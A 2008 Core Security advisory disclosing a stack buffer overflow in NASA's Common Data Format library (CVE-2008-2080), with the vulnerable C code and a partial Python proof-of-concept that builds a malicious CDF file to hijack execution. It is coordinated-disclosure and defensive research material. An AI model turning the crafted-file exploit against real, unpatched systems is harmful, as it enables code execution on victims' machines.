-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ NASA's Common Data Format buffer overflow *Advisory Information* Title: NASA's Common Data Format buffer overflow Advisory ID: CORE-2008-0326 Advisory URL: http://www.coresecurity.com/?action=item&id=2260 Date published: 2008-05-05 Date of last update: 2008-05-05 Vendors contacted: GODDARD Space Flight Center Release mode: Coordinated release *Vulnerability Information* Class: Stack Overflow Remotely Exploitable: Yes Locally Exploitable: No Bugtraq ID: 29045 CVE Name: CVE-2008-2080 *Vulnerability Description* CDF [1] is a common data format developed by the NASA Goddard Space Flight Center. It is a conceptual data abstraction for storing, manipulating, and accessing multidimensional data sets. The CDF software package is used by hundreds of government agencies, universities, and private and commercial organizations as well as independent researchers on both national and international levels. The CDF Library is vulnerable to a buffer overflow in the stack, which can be exploited by malicious remote attackers to compromise a user's system. The vulnerability is caused due to the CDF ('src/lib/cdfread64.c') library not properly sanitizing the length tags on a CDF file before using it to copy data on a stack buffer. This can be exploited to get arbitrary code execution by opening a specially crafted file. *Vulnerable Packages* . CDF 3.2 and earlier. *Non-vulnerable Packages* . CDF 3.2.1 *Vendor Information, Solutions and Workarounds* The CDF project has issued a security advisory describing this vulnerability http://cdf.gsfc.nasa.gov/CDF32_buffer_overflow.html, partially quoted below. The libraries for the scientific data file format, Common Data Format (CDF) http://cdf.gsfc.nasa.gov/ version 3.2 and earlier, have the potential for a buffer overflow vulnerability when reading specially-crafted (invalid) CDF files. If successful, this could trigger execution of arbitrary code within the context of the CDF-reading program that could be exploited to compromise a system, or otherwise crash the program. While it's unlikely that you would open CDFs from untrusted sources, we recommend everyone upgrade to the latest CDF libraries on their systems, including the IDL and Matlab plugins. Most worrisome is any service that enables the general public to submit CDF files for processing. The vulnerability is in the CDF library routines not properly checking the length tags on a CDF file before copying data to a stack buffer. Exploitation requires the user to explicitly open a specially-crafted file. CDF users should not open files from untrusted third parties until the patch is applied (and continue then to exercise normal caution for files from untrusted third parties). CDF 3.2.1 addresses this vulnerability and introduces further usability fixes http://cdf.gsfc.nasa.gov/. Updates for Perl, IDL, Matlab and Java WebStart are also available. Java WebStart applications that refer to http://sscweb.gsfc.nasa.gov/skteditor/cdf/cdf-latest.jnlp, will automatically be updated to include this fix the next time the application is started while connected to the Internet. *Credits* This vulnerability was discovered and researched by Alfredo Ortega, from CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies. *Technical Description / Proof of Concept Code* The CDF Library suffers from a buffer overflow in the Stack using a specially crafted (invalid) CDF input files. If successful, a malicious third party could trigger execution of arbitrary code within the context of the application using the library, or otherwise crash the whole application. Exploitation of the CDF overflow problem requires the user to explicitly open a specially crafted file. The user should refrain from opening files from untrusted third parties or accessing untrusted Web sites until the patch is applied. The vulnerability resides in the following code at 'src/lib/cdfread64.c'. There, the function Read32s_64 reads data from a file into a buffer. The 'temp' buffer has a size of 'MAX_READ32s', but the 'count' parameter is never checked, and a stack overflow will happen if is it's bigger than 'MAX_READ32s'. /----------- 57 STATICforIDL Logical Read32s_64 (fp, buffer, count) 58 vFILE *fp; 59 Int32 *buffer; 60 int count; 61 { 62 #if defined(NETWORKbyteORDERcpu) 63 if (count < 1) return TRUE; 64 if (!READv64(buffer,(size_t)4,(size_t)count,fp)) return FALSE; 65 #else 66 #define MAX_READ32s CDF_MAX_DIMS /* This must be the maximum of 67 CDF_MAX_DIMS and MAX_VXR_ENTRIES 68 (and for any other uses of 69 `Read32s'). */ 70 int i; Int32 temp[MAX_READ32s]; 71 if (count < 1) return TRUE; 72 if (!READv64(temp,(size_t)4,(size_t)count,fp)) return FALSE; - -----------/ The function 'Read32s_64' is called by 'ReadGDR64', also at 'src/lib/cdfread64.c': /----------- 256 #if defined(STDARG) 257 STATICforIDL CDFstatus ReadGDR64 (vFILE *fp, OFF_T offset, ...) 258 #else 259 STATICforIDL CDFstatus ReadGDR64 (va_alist) 260 va_dcl 261 #endif 262 { . . . 301 if (!Read32_64(fp,&(fp->GDR64->rNumDims))) return CRE; 302 if (!Read32_64(fp,&(fp->GDR64->NzVars))) return CRE; 303 if (!Read64_64(fp,&(fp->GDR64->UIRhead))) return CRE; 304 if (!Read32_64(fp,&(fp->GDR64->rfuC))) return CRE; 305 if (!Read32_64(fp,&(fp->GDR64->rfuD))) return CRE; 306 if (!Read32_64(fp,&(fp->GDR64->rfuE))) return CRE; 307 if (!Read32s_64(fp,fp->GDR64->rDimSizes, 308 (int)fp->GDR64->rNumDims)) return CRE; - -----------/ We can see that the vulnerable function is called at the line '307' using the variable 'fp->GDR64->rNumDims' as the vulnerable 'count' parameter. This variable is controlled by the attacker because is loaded from the file in the line '301', and is trivial to craft a CDF file that overwrite the return value on the stack and execute binary code. The following proof of concept is a python script that creates a CDF file that triggers the overflow and executes a TRAP instruction when loaded with various standard CDF tools, like 'cdfstats', 'cdfdump' or 'cdfcvt'. /----------- ## CDF 3.2 Stack Overflow PoC ## ## Alfredo Ortega, Core Security Exploit Writers Team (EWT) ## ## Work against: ## cdfstats, cdfdump and cdfcvt ## on the CDF 3.2 distribution compiled on Ubuntu 7.10 ## import struct trampoline=0x0810ca00 name="bad.cdf" buffer ='\xcd\xf3\x00\x01\x00\x00\xff\xff\x00\x00\x00\x00\x00\x00\x01\x38' buffer+='\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x03' buffer+='\x00\x00\x00\x01\x00\x00\x00\x09\x00\x00\x00\x03\x00\x00\x00\x00' buffer+='\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff' buffer+='\nCommon Data Format (CDF)\n' buffer+='(C) Copyright 1990-2006 NASA/GSFC\n' buffer+='Space Physics Data Facility\n' buffer+='NASA/Goddard Space Flight Center\n' buffer+='Greenbelt, Maryland 20771 USA\n' buffer+='(Internet -- CDFSUPPORT@LISTSERV.PWND.NASA.GOV)\n' buffer+='\x00'*0x40 buffer+='\x54\x00\x00\x00\x02\x00\x00\x00\x00' buffer+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x94\x00\x00\x00\x00' buffer+='\x00\x00\x05\xd0\x00\x00\x00\x00\x00\x00\x17\x7c\x00\x00\x00\x00' buffer+='\x00\x00\x00\x03\xff\xff\xff\xff\x00\x00\x01\x00\x00\x00\x00\x03' buffer+='\x00\x00\x00\x00\x00\x00\x0b\x4a\x00\x00\x00\x00\xff\xff\xff\xff' buffer+='\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x08' buffer+='\x00\x00\x00\x00\x00\x00\x02\xec\x00\x00\x00\x04\x00\x00\x00\x00' buffer+='\x00\x00\x00\x00\x00\x00\x0a\xae\x00\x00\x00\x00\x00\x00\x0a\xae' buffer+='\x00\x00\x00\x01\x00\x00\x00\x00' buffer+=struct.pack("